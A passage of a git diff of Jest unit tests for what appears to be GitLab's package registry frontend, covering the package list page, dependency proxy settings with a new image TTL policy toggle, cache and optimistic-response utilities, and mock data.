+import { createLocalVue } from '@vue/test-utils';
+
+import VueApollo from 'vue-apollo';
+import { nextTick } from 'vue';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import ListPage from '~/packages_and_registries/package_registry/pages/list.vue';
+import PackageTitle from '~/packages_and_registries/package_registry/components/list/package_title.vue';
+import PackageSearch from '~/packages_and_registries/package_registry/components/list/package_search.vue';
+import OriginalPackageList from '~/packages_and_registries/package_registry/components/list/packages_list.vue';
+import DeletePackage from '~/packages_and_registries/package_registry/components/functional/delete_package.vue';
+
+import {
+ PROJECT_RESOURCE_TYPE,
+ GROUP_RESOURCE_TYPE,
+ GRAPHQL_PAGE_SIZE,
+ EMPTY_LIST_HELP_URL,
+ PACKAGE_HELP_URL,
+} from '~/packages_and_registries/package_registry/constants';
+
+import getPackagesQuery from '~/packages_and_registries/package_registry/graphql/queries/get_packages.query.graphql';
+
+import { packagesListQuery, packageData, pagination } from '../mock_data';
+
+jest.mock('~/lib/utils/common_utils');
+jest.mock('~/flash');
+
+const localVue = createLocalVue();
+
+describe('PackagesListApp', () => {
+ let wrapper;
+ let apolloProvider;
+
+ const defaultProvide = {
+ emptyListIllustration: 'emptyListIllustration',
+ isGroupPage: true,
+ fullPath: 'gitlab-org',
+ };
+
+ const PackageList = {
+ name: 'package-list',
+ template: '<div><slot name="empty-state"></slot></div>',
+ props: OriginalPackageList.props,
+ };
+ const GlLoadingIcon = { name: 'gl-loading-icon', template: '<div>loading</div>' };
+
+ const searchPayload = {
+ sort: 'VERSION_DESC',
+ filters: { packageName: 'foo', packageType: 'CONAN' },
+ };
+
+ const findPackageTitle = () => wrapper.findComponent(PackageTitle);
+ const findSearch = () => wrapper.findComponent(PackageSearch);
+ const findListComponent = () => wrapper.findComponent(PackageList);
+ const findEmptyState = () => wrapper.findComponent(GlEmptyState);
+ const findDeletePackage = () => wrapper.findComponent(DeletePackage);
+
+ const mountComponent = ({
+ resolver = jest.fn().mockResolvedValue(packagesListQuery()),
+ provide = defaultProvide,
+ } = {}) => {
+ localVue.use(VueApollo);
+
+ const requestHandlers = [[getPackagesQuery, resolver]];
+ apolloProvider = createMockApollo(requestHandlers);
+
+ wrapper = shallowMountExtended(ListPage, {
+ localVue,
+ apolloProvider,
+ provide,
+ stubs: {
+ GlEmptyState,
+ GlLoadingIcon,
+ GlSprintf,
+ GlLink,
+ PackageList,
+ DeletePackage,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const waitForFirstRequest = () => {
+ // emit a search update so the query is executed
+ findSearch().vm.$emit('update', { sort: 'NAME_DESC', filters: [] });
+ return waitForPromises();
+ };
+
+ it('does not execute the query without sort being set', () => {
+ const resolver = jest.fn().mockResolvedValue(packagesListQuery());
+
+ mountComponent({ resolver });
+
+ expect(resolver).not.toHaveBeenCalled();
+ });
+
+ it('renders', async () => {
+ mountComponent();
+
+ await waitForFirstRequest();
+
+ expect(wrapper.element).toMatchSnapshot();
+ });
+
+ it('has a package title', async () => {
+ mountComponent();
+
+ await waitForFirstRequest();
+
+ expect(findPackageTitle().exists()).toBe(true);
+ expect(findPackageTitle().props()).toMatchObject({
+ count: 2,
+ helpUrl: PACKAGE_HELP_URL,
+ });
+ });
+
+ describe('search component', () => {
+ it('exists', () => {
+ mountComponent();
+
+ expect(findSearch().exists()).toBe(true);
+ });
+
+ it('on update triggers a new query with updated values', async () => {
+ const resolver = jest.fn().mockResolvedValue(packagesListQuery());
+ mountComponent({ resolver });
+
+ findSearch().vm.$emit('update', searchPayload);
+
+ await waitForPromises();
+
+ expect(resolver).toHaveBeenCalledWith(
+ expect.objectContaining({
+ groupSort: searchPayload.sort,
+ ...searchPayload.filters,
+ }),
+ );
+ });
+ });
+
+ describe('list component', () => {
+ let resolver;
+
+ beforeEach(() => {
+ resolver = jest.fn().mockResolvedValue(packagesListQuery());
+ mountComponent({ resolver });
+
+ return waitForFirstRequest();
+ });
+
+ it('exists and has the right props', () => {
+ expect(findListComponent().props()).toMatchObject({
+ list: expect.arrayContaining([expect.objectContaining({ id: packageData().id })]),
+ isLoading: false,
+ pageInfo: expect.objectContaining({ endCursor: pagination().endCursor }),
+ });
+ });
+
+ it('when list emits next-page fetches the next set of records', () => {
+ findListComponent().vm.$emit('next-page');
+
+ expect(resolver).toHaveBeenCalledWith(
+ expect.objectContaining({ after: pagination().endCursor, first: GRAPHQL_PAGE_SIZE }),
+ );
+ });
+
+ it('when list emits prev-page fetches the prev set of records', () => {
+ findListComponent().vm.$emit('prev-page');
+
+ expect(resolver).toHaveBeenCalledWith(
+ expect.objectContaining({ before: pagination().startCursor, last: GRAPHQL_PAGE_SIZE }),
+ );
+ });
+ });
+
+ describe.each`
+ type | sortType
+ ${PROJECT_RESOURCE_TYPE} | ${'sort'}
+ ${GROUP_RESOURCE_TYPE} | ${'groupSort'}
+ `('$type query', ({ type, sortType }) => {
+ let provide;
+ let resolver;
+
+ const isGroupPage = type === GROUP_RESOURCE_TYPE;
+
+ beforeEach(() => {
+ provide = { ...defaultProvide, isGroupPage };
+ resolver = jest.fn().mockResolvedValue(packagesListQuery({ type }));
+ mountComponent({ provide, resolver });
+ return waitForFirstRequest();
+ });
+
+ it('succeeds', () => {
+ expect(findPackageTitle().props('count')).toBe(2);
+ });
+
+ it('calls the resolver with the right parameters', () => {
+ expect(resolver).toHaveBeenCalledWith(
+ expect.objectContaining({ isGroupPage, [sortType]: 'NAME_DESC' }),
+ );
+ });
+ });
+
+ describe('empty state', () => {
+ beforeEach(() => {
+ const resolver = jest.fn().mockResolvedValue(packagesListQuery({ extend: { nodes: [] } }));
+ mountComponent({ resolver });
+
+ return waitForFirstRequest();
+ });
+ it('generate the correct empty list link', () => {
+ const link = findListComponent().findComponent(GlLink);
+
+ expect(link.attributes('href')).toBe(EMPTY_LIST_HELP_URL);
+ expect(link.text()).toBe('publish and share your packages');
+ });
+
+ it('includes the right content on the default tab', () => {
+ expect(findEmptyState().text()).toContain(ListPage.i18n.emptyPageTitle);
+ });
+ });
+
+ describe('filter without results', () => {
+ beforeEach(async () => {
+ mountComponent();
+
+ await waitForFirstRequest();
+
+ findSearch().vm.$emit('update', searchPayload);
+
+ return nextTick();
+ });
+
+ it('should show specific empty message', () => {
+ expect(findEmptyState().text()).toContain(ListPage.i18n.noResultsTitle);
+ expect(findEmptyState().text()).toContain(ListPage.i18n.widenFilters);
+ });
+ });
+
+ describe('delete package', () => {
+ it('exists and has the correct props', async () => {
+ mountComponent();
+
+ await waitForFirstRequest();
+
+ expect(findDeletePackage().props()).toMatchObject({
+ refetchQueries: [{ query: getPackagesQuery, variables: {} }],
+ showSuccessAlert: true,
+ });
+ });
+
+ it('deletePackage is bound to package-list package:delete event', async () => {
+ mountComponent();
+
+ await waitForFirstRequest();
+
+ findListComponent().vm.$emit('package:delete', { id: 1 });
+
+ expect(findDeletePackage().emitted('start')).toEqual([[]]);
+ });
+
+ it('start and end event set loading correctly', async () => {
+ mountComponent();
+
+ await waitForFirstRequest();
+
+ findDeletePackage().vm.$emit('start');
+
+ await nextTick();
+
+ expect(findListComponent().props('isLoading')).toBe(true);
+
+ findDeletePackage().vm.$emit('end');
+
+ await nextTick();
+
+ expect(findListComponent().props('isLoading')).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/packages_and_registries/settings/group/components/__snapshots__/settings_titles_spec.js.snap b/spec/frontend/packages_and_registries/settings/group/components/__snapshots__/settings_titles_spec.js.snap
index f2087733d2b..5b56cb7f74e 100644
--- a/spec/frontend/packages_and_registries/settings/group/components/__snapshots__/settings_titles_spec.js.snap
+++ b/spec/frontend/packages_and_registries/settings/group/components/__snapshots__/settings_titles_spec.js.snap
@@ -3,7 +3,7 @@
exports[`settings_titles renders properly 1`] = `
<div>
<h5
- class="gl-border-b-solid gl-border-b-1 gl-border-gray-200"
+ class="gl-border-b-solid gl-border-b-1 gl-border-gray-200 gl-pb-3"
>
foo
diff --git a/spec/frontend/packages_and_registries/settings/group/components/dependency_proxy_settings_spec.js b/spec/frontend/packages_and_registries/settings/group/components/dependency_proxy_settings_spec.js
index d3a970e86eb..f6c1d212b51 100644
--- a/spec/frontend/packages_and_registries/settings/group/components/dependency_proxy_settings_spec.js
+++ b/spec/frontend/packages_and_registries/settings/group/components/dependency_proxy_settings_spec.js
@@ -1,6 +1,7 @@
-import { GlSprintf, GlLink, GlToggle } from '@gitlab/ui';
-import { shallowMount, createLocalVue } from '@vue/test-utils';
+import { GlSprintf, GlToggle } from '@gitlab/ui';
+import { createLocalVue } from '@vue/test-utils';
import VueApollo from 'vue-apollo';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
@@ -12,14 +13,21 @@ import {
} from '~/packages_and_registries/settings/group/constants';
import updateDependencyProxySettings from '~/packages_and_registries/settings/group/graphql/mutations/update_dependency_proxy_settings.mutation.graphql';
+import updateDependencyProxyImageTtlGroupPolicy from '~/packages_and_registries/settings/group/graphql/mutations/update_dependency_proxy_image_ttl_group_policy.mutation.graphql';
import getGroupPackagesSettingsQuery from '~/packages_and_registries/settings/group/graphql/queries/get_group_packages_settings.query.graphql';
import SettingsBlock from '~/vue_shared/components/settings/settings_block.vue';
-import { updateGroupDependencyProxySettingsOptimisticResponse } from '~/packages_and_registries/settings/group/graphql/utils/optimistic_responses';
+import SettingsTitles from '~/packages_and_registries/settings/group/components/settings_titles.vue';
import {
- dependencyProxySettings,
+ updateGroupDependencyProxySettingsOptimisticResponse,
+ updateDependencyProxyImageTtlGroupPolicyOptimisticResponse,
+} from '~/packages_and_registries/settings/group/graphql/utils/optimistic_responses';
+import {
+ dependencyProxySettings as dependencyProxySettingsMock,
+ dependencyProxyImageTtlPolicy as dependencyProxyImageTtlPolicyMock,
dependencyProxySettingMutationMock,
groupPackageSettingsMock,
- dependencyProxySettingMutationErrorMock,
+ mutationErrorMock,
+ dependencyProxyUpdateTllPolicyMutationMock,
} from '../mock_data';
jest.mock('~/flash');
@@ -30,46 +38,68 @@ const localVue = createLocalVue();
describe('DependencyProxySettings', () => {
let wrapper;
let apolloProvider;
+ let updateSettingsMutationResolver;
+ let updateTtlPoliciesMutationResolver;
const defaultProvide = {
defaultExpanded: false,
groupPath: 'foo_group_path',
+ groupDependencyProxyPath: 'group_dependency_proxy_path',
};
localVue.use(VueApollo);
const mountComponent = ({
provide = defaultProvide,
- mutationResolver = jest.fn().mockResolvedValue(dependencyProxySettingMutationMock()),
isLoading = false,
+ dependencyProxySettings = dependencyProxySettingsMock(),
+ dependencyProxyImageTtlPolicy = dependencyProxyImageTtlPolicyMock(),
} = {}) => {
- const requestHandlers = [[updateDependencyProxySettings, mutationResolver]];
+ const requestHandlers = [
+ [updateDependencyProxySettings, updateSettingsMutationResolver],
+ [updateDependencyProxyImageTtlGroupPolicy, updateTtlPoliciesMutationResolver],
+ ];
apolloProvider = createMockApollo(requestHandlers);
- wrapper = shallowMount(component, {
+ wrapper = shallowMountExtended(component, {
localVue,
apolloProvider,
provide,
propsData: {
- dependencyProxySettings: dependencyProxySettings(),
+ dependencyProxySettings,
+ dependencyProxyImageTtlPolicy,
isLoading,
},
stubs: {
GlSprintf,
+ GlToggle,
SettingsBlock,
},
});
};
+ beforeEach(() => {
+ updateSettingsMutationResolver = jest
+ .fn()
+ .mockResolvedValue(dependencyProxySettingMutationMock());
+ updateTtlPoliciesMutationResolver = jest
+ .fn()
+ .mockResolvedValue(dependencyProxyUpdateTllPolicyMutationMock());
+ });
+
afterEach(() => {
wrapper.destroy();
});
const findSettingsBlock = () => wrapper.findComponent(SettingsBlock);
- const findDescription = () => wrapper.find('[data-testid="description"');
- const findLink = () => wrapper.findComponent(GlLink);
- const findToggle = () => wrapper.findComponent(GlToggle);
+ const findSettingsTitles = () => wrapper.findComponent(SettingsTitles);
+ const findDescription = () => wrapper.findByTestId('description');
+ const findDescriptionLink = () => wrapper.findByTestId('description-link');
+ const findEnableProxyToggle = () => wrapper.findByTestId('dependency-proxy-setting-toggle');
+ const findEnableTtlPoliciesToggle = () =>
+ wrapper.findByTestId('dependency-proxy-ttl-policies-toggle');
+ const findToggleHelpLink = () => wrapper.findByTestId('toggle-help-link');
const fillApolloCache = () => {
apolloProvider.defaultClient.cache.writeQuery({
@@ -81,10 +111,6 @@ describe('DependencyProxySettings', () => {
});
};
- const emitSettingsUpdate = (value = false) => {
- findToggle().vm.$emit('change', value);
- };
-
it('renders a settings block', () => {
mountComponent();
@@ -112,19 +138,93 @@ describe('DependencyProxySettings', () => {
it('has the correct link', () => {
mountComponent();
- expect(findLink().attributes()).toMatchObject({
+ expect(findDescriptionLink().attributes()).toMatchObject({
href: DEPENDENCY_PROXY_DOCS_PATH,
});
- expect(findLink().text()).toBe('Learn more');
+ expect(findDescriptionLink().text()).toBe('Learn more');
+ });
+
+ describe('enable toggle', () => {
+ it('exists', () => {
+ mountComponent();
+
+ expect(findEnableProxyToggle().props()).toMatchObject({
+ label: component.i18n.enabledProxyLabel,
+ });
+ });
+
+ describe('when enabled', () => {
+ beforeEach(() => {
+ mountComponent();
+ });
+
+ it('has the help prop correctly set', () => {
+ expect(findEnableProxyToggle().props()).toMatchObject({
+ help: component.i18n.enabledProxyHelpText,
+ });
+ });
+
+ it('has help text with a link', () => {
+ expect(findEnableProxyToggle().text()).toContain(
+ 'To see the image prefix and what is in the cache, visit the Dependency Proxy',
+ );
+ expect(findToggleHelpLink().attributes()).toMatchObject({
+ href: defaultProvide.groupDependencyProxyPath,
+ });
+ });
+ });
+
+ describe('when disabled', () => {
+ beforeEach(() => {
+ mountComponent({
+ dependencyProxySettings: dependencyProxySettingsMock({ enabled: false }),
+ });
+ });
+
+ it('has the help prop set to empty', () => {
+ expect(findEnableProxyToggle().props()).toMatchObject({
+ help: '',
+ });
+ });
+
+ it('the help text is not visible', () => {
+ expect(findToggleHelpLink().exists()).toBe(false);
+ });
+ });
+ });
+
+ describe('storage settings', () => {
+ it('the component has the settings title', () => {
+ mountComponent();
+
+ expect(findSettingsTitles().props()).toMatchObject({
+ title: component.i18n.storageSettingsTitle,
+ });
+ });
+
+ describe('enable proxy ttl policies', () => {
+ it('exists', () => {
+ mountComponent();
+
+ expect(findEnableTtlPoliciesToggle().props()).toMatchObject({
+ label: component.i18n.ttlPolicyEnabledLabel,
+ help: component.i18n.ttlPolicyEnabledHelpText,
+ });
+ });
+ });
});
- describe('settings update', () => {
+ describe.each`
+ toggleName | toggleFinder | localErrorMock | optimisticResponse
+ ${'enable proxy'} | ${findEnableProxyToggle} | ${dependencyProxySettingMutationMock} | ${updateGroupDependencyProxySettingsOptimisticResponse}
+ ${'enable ttl policies'} | ${findEnableTtlPoliciesToggle} | ${dependencyProxyUpdateTllPolicyMutationMock} | ${updateDependencyProxyImageTtlGroupPolicyOptimisticResponse}
+ `('$toggleName settings update ', ({ optimisticResponse, toggleFinder, localErrorMock }) => {
describe('success state', () => {
it('emits a success event', async () => {
mountComponent();
fillApolloCache();
- emitSettingsUpdate();
+ toggleFinder().vm.$emit('change', false);
await waitForPromises();
@@ -136,26 +236,28 @@ describe('DependencyProxySettings', () => {
fillApolloCache();
- expect(findToggle().props('value')).toBe(true);
+ expect(toggleFinder().props('value')).toBe(true);
- emitSettingsUpdate();
+ toggleFinder().vm.$emit('change', false);
- expect(updateGroupDependencyProxySettingsOptimisticResponse).toHaveBeenCalledWith({
- enabled: false,
- });
+ expect(optimisticResponse).toHaveBeenCalledWith(
+ expect.objectContaining({
+ enabled: false,
+ }),
+ );
});
});
describe('errors', () => {
it('mutation payload with root level errors', async () => {
- const mutationResolver = jest
- .fn()
- .mockResolvedValue(dependencyProxySettingMutationErrorMock);
- mountComponent({ mutationResolver });
+ updateSettingsMutationResolver = jest.fn().mockResolvedValue(mutationErrorMock);
+ updateTtlPoliciesMutationResolver = jest.fn().mockResolvedValue(mutationErrorMock);
+
+ mountComponent();
fillApolloCache();
- emitSettingsUpdate();
+ toggleFinder().vm.$emit('change', false);
await waitForPromises();
@@ -163,14 +265,16 @@ describe('DependencyProxySettings', () => {
});
it.each`
- type | mutationResolver
- ${'local'} | ${jest.fn().mockResolvedValue(dependencyProxySettingMutationMock({ errors: ['foo'] }))}
+ type | mutationResolverMock
+ ${'local'} | ${jest.fn().mockResolvedValue(localErrorMock({ errors: ['foo'] }))}
${'network'} | ${jest.fn().mockRejectedValue()}
- `('mutation payload with $type error', async ({ mutationResolver }) => {
- mountComponent({ mutationResolver });
+ `('mutation payload with $type error', async ({ mutationResolverMock }) => {
+ updateSettingsMutationResolver = mutationResolverMock;
+ updateTtlPoliciesMutationResolver = mutationResolverMock;
+ mountComponent();
fillApolloCache();
- emitSettingsUpdate();
+ toggleFinder().vm.$emit('change', false);
await waitForPromises();
@@ -180,10 +284,16 @@ describe('DependencyProxySettings', () => {
});
describe('when isLoading is true', () => {
- it('disables enable toggle', () => {
+ it('disables enable proxy toggle', () => {
+ mountComponent({ isLoading: true });
+
+ expect(findEnableProxyToggle().props('disabled')).toBe(true);
+ });
+
+ it('disables enable ttl policies toggle', () => {
mountComponent({ isLoading: true });
- expect(findToggle().props('disabled')).toBe(true);
+ expect(findEnableTtlPoliciesToggle().props('disabled')).toBe(true);
});
});
});
diff --git a/spec/frontend/packages_and_registries/settings/group/components/group_settings_app_spec.js b/spec/frontend/packages_and_registries/settings/group/components/group_settings_app_spec.js
index e4d62bc6a6e..933dac7f5a8 100644
--- a/spec/frontend/packages_and_registries/settings/group/components/group_settings_app_spec.js
+++ b/spec/frontend/packages_and_registries/settings/group/components/group_settings_app_spec.js
@@ -10,7 +10,12 @@ import DependencyProxySettings from '~/packages_and_registries/settings/group/co
import component from '~/packages_and_registries/settings/group/components/group_settings_app.vue';
import getGroupPackagesSettingsQuery from '~/packages_and_registries/settings/group/graphql/queries/get_group_packages_settings.query.graphql';
-import { groupPackageSettingsMock, packageSettings, dependencyProxySettings } from '../mock_data';
+import {
+ groupPackageSettingsMock,
+ packageSettings,
+ dependencyProxySettings,
+ dependencyProxyImageTtlPolicy,
+} from '../mock_data';
jest.mock('~/flash');
@@ -66,11 +71,17 @@ describe('Group Settings App', () => {
await nextTick();
};
+ const packageSettingsProps = { packageSettings: packageSettings() };
+ const dependencyProxyProps = {
+ dependencyProxySettings: dependencyProxySettings(),
+ dependencyProxyImageTtlPolicy: dependencyProxyImageTtlPolicy(),
+ };
+
describe.each`
- finder | entityProp | entityValue | successMessage | errorMessage
- ${findPackageSettings} | ${'packageSettings'} | ${packageSettings()} | ${'Settings saved successfully'} | ${'An error occurred while saving the settings'}
- ${findDependencyProxySettings} | ${'dependencyProxySettings'} | ${dependencyProxySettings()} | ${'Setting saved successfully'} | ${'An error occurred while saving the setting'}
- `('settings blocks', ({ finder, entityProp, entityValue, successMessage, errorMessage }) => {
+ finder | entitySpecificProps | successMessage | errorMessage
+ ${findPackageSettings} | ${packageSettingsProps} | ${'Settings saved successfully'} | ${'An error occurred while saving the settings'}
+ ${findDependencyProxySettings} | ${dependencyProxyProps} | ${'Setting saved successfully'} | ${'An error occurred while saving the setting'}
+ `('settings blocks', ({ finder, entitySpecificProps, successMessage, errorMessage }) => {
beforeEach(() => {
mountComponent();
return waitForApolloQueryAndRender();
@@ -83,7 +94,7 @@ describe('Group Settings App', () => {
it('binds the correctProps', () => {
expect(finder().props()).toMatchObject({
isLoading: false,
- [entityProp]: entityValue,
+ ...entitySpecificProps,
});
});
diff --git a/spec/frontend/packages_and_registries/settings/group/components/settings_titles_spec.js b/spec/frontend/packages_and_registries/settings/group/components/settings_titles_spec.js
index a61edad8685..fcfad4b42b8 100644
--- a/spec/frontend/packages_and_registries/settings/group/components/settings_titles_spec.js
+++ b/spec/frontend/packages_and_registries/settings/group/components/settings_titles_spec.js
@@ -4,15 +4,19 @@ import SettingsTitles from '~/packages_and_registries/settings/group/components/
describe('settings_titles', () => {
let wrapper;
- const mountComponent = () => {
+ const defaultProps = {
+ title: 'foo',
+ subTitle: 'bar',
+ };
+
+ const mountComponent = (propsData = defaultProps) => {
wrapper = shallowMount(SettingsTitles, {
- propsData: {
- title: 'foo',
- subTitle: 'bar',
- },
+ propsData,
});
};
+ const findSubTitle = () => wrapper.find('p');
+
afterEach(() => {
wrapper.destroy();
});
@@ -22,4 +26,10 @@ describe('settings_titles', () => {
expect(wrapper.element).toMatchSnapshot();
});
+
+ it('does not render the subtitle paragraph when no subtitle is passed', () => {
+ mountComponent({ title: defaultProps.title });
+
+ expect(findSubTitle().exists()).toBe(false);
+ });
});
diff --git a/spec/frontend/packages_and_registries/settings/group/graphl/utils/cache_update_spec.js b/spec/frontend/packages_and_registries/settings/group/graphl/utils/cache_update_spec.js
index 9d8504a1124..a5b571a0241 100644
--- a/spec/frontend/packages_and_registries/settings/group/graphl/utils/cache_update_spec.js
+++ b/spec/frontend/packages_and_registries/settings/group/graphl/utils/cache_update_spec.js
@@ -17,6 +17,13 @@ describe('Package and Registries settings group cache updates', () => {
},
};
+ const updateDependencyProxyImageTtlGroupPolicyPayload = {
+ dependencyProxyImageTtlPolicy: {
+ enabled: false,
+ ttl: 45,
+ },
+ };
+
const cacheMock = {
group: {
packageSettings: {
@@ -26,6 +33,10 @@ describe('Package and Registries settings group cache updates', () => {
dependencyProxySetting: {
enabled: true,
},
+ dependencyProxyImageTtlPolicy: {
+ enabled: true,
+ ttl: 45,
+ },
},
};
@@ -42,15 +53,26 @@ describe('Package and Registries settings group cache updates', () => {
});
describe.each`
- updateNamespacePackageSettings | updateDependencyProxySettings
- ${updateNamespacePackageSettingsPayload} | ${updateDependencyProxySettingsPayload}
- ${undefined} | ${updateDependencyProxySettingsPayload}
- ${updateNamespacePackageSettingsPayload} | ${undefined}
- ${undefined} | ${undefined}
+ updateNamespacePackageSettings | updateDependencyProxySettings | updateDependencyProxyImageTtlGroupPolicy
+ ${updateNamespacePackageSettingsPayload} | ${updateDependencyProxySettingsPayload} | ${undefined}
+ ${undefined} | ${updateDependencyProxySettingsPayload} | ${undefined}
+ ${updateNamespacePackageSettingsPayload} | ${undefined} | ${undefined}
+ ${undefined} | ${undefined} | ${updateDependencyProxyImageTtlGroupPolicyPayload}
+ ${undefined} | ${undefined} | ${undefined}
`(
'updateGroupPackageSettings',
- ({ updateNamespacePackageSettings, updateDependencyProxySettings }) => {
- const payload = { data: { updateNamespacePackageSettings, updateDependencyProxySettings } };
+ ({
+ updateNamespacePackageSettings,
+ updateDependencyProxySettings,
+ updateDependencyProxyImageTtlGroupPolicy,
+ }) => {
+ const payload = {
+ data: {
+ updateNamespacePackageSettings,
+ updateDependencyProxySettings,
+ updateDependencyProxyImageTtlGroupPolicy,
+ },
+ };
it('calls readQuery', () => {
updateGroupPackageSettings('foo')(client, payload);
expect(client.readQuery).toHaveBeenCalledWith(queryAndVariables);
@@ -65,6 +87,7 @@ describe('Package and Registries settings group cache updates', () => {
...cacheMock.group,
...payload.data.updateNamespacePackageSettings,
...payload.data.updateDependencyProxySettings,
+ ...payload.data.updateDependencyProxyImageTtlGroupPolicy,
},
},
});
diff --git a/spec/frontend/packages_and_registries/settings/group/graphl/utils/optimistic_responses_spec.js b/spec/frontend/packages_and_registries/settings/group/graphl/utils/optimistic_responses_spec.js
index debeb9aa89c..b4efda3e7b2 100644
--- a/spec/frontend/packages_and_registries/settings/group/graphl/utils/optimistic_responses_spec.js
+++ b/spec/frontend/packages_and_registries/settings/group/graphl/utils/optimistic_responses_spec.js
@@ -1,6 +1,7 @@
import {
updateGroupPackagesSettingsOptimisticResponse,
updateGroupDependencyProxySettingsOptimisticResponse,
+ updateDependencyProxyImageTtlGroupPolicyOptimisticResponse,
} from '~/packages_and_registries/settings/group/graphql/utils/optimistic_responses';
describe('Optimistic responses', () => {
@@ -38,4 +39,22 @@ describe('Optimistic responses', () => {
`);
});
});
+
+ describe('updateDependencyProxyImageTtlGroupPolicyOptimisticResponse', () => {
+ it('returns the correct structure', () => {
+ expect(updateDependencyProxyImageTtlGroupPolicyOptimisticResponse({ foo: 'bar' }))
+ .toMatchInlineSnapshot(`
+ Object {
+ "__typename": "Mutation",
+ "updateDependencyProxyImageTtlGroupPolicy": Object {
+ "__typename": "UpdateDependencyProxyImageTtlGroupPolicyPayload",
+ "dependencyProxyImageTtlPolicy": Object {
+ "foo": "bar",
+ },
+ "errors": Array [],
+ },
+ }
+ `);
+ });
+ });
});
diff --git a/spec/frontend/packages_and_registries/settings/group/mock_data.js b/spec/frontend/packages_and_registries/settings/group/mock_data.js
index 81ba0795b7d..d53446de910 100644
--- a/spec/frontend/packages_and_registries/settings/group/mock_data.js
+++ b/spec/frontend/packages_and_registries/settings/group/mock_data.js
@@ -5,16 +5,25 @@ export const packageSettings = () => ({
genericDuplicateExceptionRegex: '',
});
-export const dependencyProxySettings = () => ({
+export const dependencyProxySettings = (extend) => ({
enabled: true,
+ ...extend,
+});
+
+export const dependencyProxyImageTtlPolicy = (extend) => ({
+ ttl: 90,
+ enabled: true,
+ ...extend,
});
export const groupPackageSettingsMock = {
data: {
group: {
+ id: '1',
fullPath: 'foo_group_path',
packageSettings: packageSettings(),
dependencyProxySetting: dependencyProxySettings(),
+ dependencyProxyImageTtlPolicy: dependencyProxyImageTtlPolicy(),
},
},
};
@@ -44,6 +53,16 @@ export const dependencyProxySettingMutationMock = (override) => ({
},
});
+export const dependencyProxyUpdateTllPolicyMutationMock = (override) => ({
+ data: {
+ updateDependencyProxyImageTtlGroupPolicy: {
+ dependencyProxyImageTtlPolicy: dependencyProxyImageTtlPolicy(),
+ errors: [],
+ ...override,
+ },
+ },
+});
+
export const groupPackageSettingsMutationErrorMock = {
errors: [
{
@@ -68,7 +87,8 @@ export const groupPackageSettingsMutationErrorMock = {
},
],
};
-export const dependencyProxySettingMutationErrorMock = {
+
+export const mutationErrorMock = {
errors: [
{
message: 'Some error',
diff --git a/spec/frontend/packages_and_registries/settings/project/settings/mock_data.js b/spec/frontend/packages_and_registries/settings/project/settings/mock_data.js
index 9778f409010..a56bb75f8ed 100644
--- a/spec/frontend/packages_and_registries/settings/project/settings/mock_data.js
+++ b/spec/frontend/packages_and_registries/settings/project/settings/mock_data.js
@@ -11,6 +11,7 @@ export const containerExpirationPolicyData = () => ({
export const expirationPolicyPayload = (override) => ({
data: {
project: {
+ id: '1',
containerExpirationPolicy: {
...containerExpirationPolicyData(),
...override,
diff --git a/spec/frontend/packages_and_registries/shared/__snapshots__/publish_method_spec.js.snap b/spec/frontend/packages_and_registries/shared/__snapshots__/publish_method_spec.js.snap
new file mode 100644
index 00000000000..5f243799bae
--- /dev/null
+++ b/spec/frontend/packages_and_registries/shared/__snapshots__/publish_method_spec.js.snap
@@ -0,0 +1,43 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`publish_method renders 1`] = `
+<div
+ class="gl-display-flex gl-align-items-center"
+>
+ <gl-icon-stub
+ class="gl-mr-2"
+ name="git-merge"
+ size="16"
+ />
+
+ <span
+ class="gl-mr-2"
+ data-testid="pipeline-ref"
+ >
+ branch-name
+ </span>
+
+ <gl-icon-stub
+ class="gl-mr-2"
+ name="commit"
+ size="16"
+ />
+
+ <gl-link-stub
+ class="gl-mr-2"
+ data-testid="pipeline-sha"
+ href="../commit/sha-baz"
+ >
+ sha-baz
+ </gl-link-stub>
+
+ <clipboard-button-stub
+ category="tertiary"
+ size="small"
+ text="sha-baz"
+ title="Copy commit SHA"
+ tooltipplacement="top"
+ variant="default"
+ />
+</div>
+`;
diff --git a/spec/frontend/packages_and_registries/shared/components/registry_list_spec.js b/spec/frontend/packages_and_registries/shared/components/registry_list_spec.js
new file mode 100644
index 00000000000..aaca58d21bb
--- /dev/null
+++ b/spec/frontend/packages_and_registries/shared/components/registry_list_spec.js
@@ -0,0 +1,199 @@
+import { GlButton, GlFormCheckbox, GlKeysetPagination } from '@gitlab/ui';
+import { nextTick } from 'vue';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import component from '~/packages_and_registries/shared/components/registry_list.vue';
+
+describe('Registry List', () => {
+ let wrapper;
+
+ const items = [{ id: 'a' }, { id: 'b' }];
+ const defaultPropsData = {
+ title: 'test_title',
+ items,
+ };
+
+ const rowScopedSlot = `
+ <div data-testid="scoped-slot">
+ <button @click="props.selectItem(props.item)">Select</button>
+ <span>{{props.first}}</span>
+ <p>{{props.isSelected(props.item)}}</p>
+ </div>`;
+
+ const mountComponent = ({ propsData = defaultPropsData } = {}) => {
+ wrapper = shallowMountExtended(component, {
+ propsData,
+ scopedSlots: {
+ default: rowScopedSlot,
+ },
+ });
+ };
+
+ const findSelectAll = () => wrapper.findComponent(GlFormCheckbox);
+ const findDeleteSelected = () => wrapper.findComponent(GlButton);
+ const findPagination = () => wrapper.findComponent(GlKeysetPagination);
+ const findScopedSlots = () => wrapper.findAllByTestId('scoped-slot');
+ const findScopedSlotSelectButton = (index) => findScopedSlots().at(index).find('button');
+ const findScopedSlotFirstValue = (index) => findScopedSlots().at(index).find('span');
+ const findScopedSlotIsSelectedValue = (index) => findScopedSlots().at(index).find('p');
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('header', () => {
+ it('renders the title passed in the prop', () => {
+ mountComponent();
+
+ expect(wrapper.text()).toContain(defaultPropsData.title);
+ });
+
+ describe('select all checkbox', () => {
+ beforeEach(() => {
+ mountComponent();
+ });
+
+ it('exists', () => {
+ expect(findSelectAll().exists()).toBe(true);
+ });
+
+ it('select and unselect all', async () => {
+ // no row is not selected
+ items.forEach((item, index) => {
+ expect(findScopedSlotIsSelectedValue(index).text()).toBe('');
+ });
+
